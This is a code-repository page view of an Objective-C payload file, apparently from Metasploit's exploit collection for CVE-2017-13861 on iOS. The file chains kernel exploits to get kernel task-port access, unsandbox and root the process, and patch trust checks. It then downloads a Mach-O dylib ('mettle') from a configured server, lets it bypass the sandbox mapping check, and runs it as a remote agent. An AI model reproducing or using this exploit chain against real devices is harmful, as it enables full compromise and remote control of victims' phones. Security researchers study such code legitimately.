Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2017-13861/payload.m
Views: 11780
#include <stdio.h>1#include <stdint.h>2#include <stdlib.h>34#include <mach/mach.h>56#import <Foundation/Foundation.h>78#import <dlfcn.h>910#include <mach-o/dyld.h>1112#include <sys/socket.h>13#include <netinet/in.h>14#include <arpa/inet.h>1516#include "magic.h"17#include "liboffsetfinder64/getoffsets.h"18#include "v0rtex.h"19#include "async_wake.h"20#include "kernel_utils.h"21#include "patchfinder64.h"22#include "trustcache.h"23#include "sandbox.h"24#include "kutils.h"25#include "kexecute.h"26#include "vnode_utils.h"2728// Note: NSLog crashes for me on iOS 102930//#define DEBUG 131#ifdef DEBUG3233#define SLOG(msg, ...) \34do { \35if (getuid() == 0) { \36FILE* logfile = fopen("/var/mobile/log.txt", "a");\37fprintf(logfile,msg, __VA_ARGS__); \38fclose(logfile); \39} \40} while (0)4142//#define LOG(msg) \43//NSLog(@msg); \44//fprintf(stderr, msg); \45//fflush(stderr);4647#else48#define SLOG(msg, ...) {}49#endif5051int download_payload(char* file_path, const char* config_placeholder)52{53unlink(file_path);54SLOG("%s", "Downloading payload\n");5556const char* payload_url = "payload10";57if (kCFCoreFoundationVersionNumber >= 1443.00) {58payload_url = "payload11";59}60// Load the payload from server61int sockfd = 0;62struct sockaddr_in serv_addr;63char getpayload[100];64snprintf(getpayload, sizeof(getpayload), "GET /%s HTTP/1.1\r\n\r\n", payload_url);65const int chunk_size = 4096;66char* payload_buffer = malloc(chunk_size);67if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {68SLOG("%s", "Could not connect socket");69return -1;70}7172serv_addr.sin_family = AF_INET;73serv_addr.sin_addr.s_addr = *(uint32_t*)config_placeholder;74serv_addr.sin_port = *(uint16_t*)(config_placeholder + 4);7576SLOG("%s", "Connecting...\n");77if (connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {78SLOG("%s", "Could not connect\n");79return -1;80}81send(sockfd, getpayload, strlen(getpayload), 0);8283int payloadfd = open(file_path, O_WRONLY | O_CREAT, 0700);84int read_header = 0;85int n;86while ((n = read(sockfd, payload_buffer, chunk_size)) > 0) {87if (!read_header) {88char * payload_start = (char*)memmem((unsigned char*)payload_buffer, chunk_size, (unsigned char*)"\xcf\xfa\xed\xfe", 4);89write(payloadfd, payload_start, n - (payload_start - payload_buffer));90read_header = 1;91} else {92write(payloadfd, payload_buffer, n);93}94}9596close(payloadfd);97close(sockfd);98free(payload_buffer);99return 0;100}101102void fail(uint64_t x) {103*(volatile int*)(0xbad000000000ull + x) = 0xdead;104}105#define ASSERT(x) if (!(x))fail(0xa00000000ull + __LINE__)106107int main() {108109SLOG("%s", "Starting...\n");110111mach_port_t tfp0 = MACH_PORT_NULL;112uint64_t kbase = 0;113kern_return_t ret = KERN_FAILURE;114115if (kCFCoreFoundationVersionNumber >= 1443.00) {116ret = async_wake(&tfp0);117if (ret == KERN_SUCCESS && MACH_PORT_VALID(tfp0)) {118kbase = find_kernel_base();119SLOG("kbase %p", (void*)kbase);120}121} else {122offsets_t *off = get_offsets();123SLOG("%s", "Got offsets\n");124ret = v0rtex(off, &tfp0, &kbase);125}126127if (ret != KERN_SUCCESS || !MACH_PORT_VALID(tfp0))128{129SLOG("%s", "exploit failed\n");130return -1;131} else {132SLOG("%s", "tfp0!\n");133}134135SLOG("%s", "init!\n");136init_kernel_utils(tfp0, kbase);137InitPatchfinder(kbase, 0);138139if (kCFCoreFoundationVersionNumber >= 1443.00) {140pid_t pid = getpid();141uint64_t sbcreds = unsandbox(pid);142rootify(pid);143SLOG("uid %d", getuid());144SLOG("creds %p", (void*)sbcreds);145146}147148const char config_placeholder[1024] = "PAYLOAD_URL";149char * file_path = "/var/mobile/mettle.dylib";150download_payload(file_path, config_placeholder);151152SLOG("%s", "did init!\n");153int trustret = trust_bin(file_path);154SLOG("trust %d\n", trustret);155156if (kCFCoreFoundationVersionNumber >= 1443.00) {157//fix for: kernel(Sandbox)[0] <Notice>: Sandbox: com.apple.WebKit(238) System Policy: deny(1) file-map-executable /private/var/mobile/mettle.dylib158init_Kernel_Execute();159fix_vnode_for_mmap(file_path);160}161162void* mettle = dlopen(file_path, RTLD_NOW);163if (mettle) {164SLOG("%s", "got mettle!\n");165166// Launch the payload167typedef int (*main_ptr)(int argc, const char *argv[]);168main_ptr main_func = dlsym(mettle, "main");169if (main_func) {170SLOG("%s", "got main_func!\n");171const char * progname = "mettle";172const char * arg1 = "-u";173const char * arg2 = config_placeholder+6;174const char *argv[] = { progname, arg1, arg2, NULL };175int mainret = main_func(3, argv);176SLOG("%s", "did run main_func!\n");177}178}179180SLOG("%s", "exit!\n");181exit(0);182return 0;183}184185uint64_t entry[] = { MAGIC, (uint64_t)&main };186187188189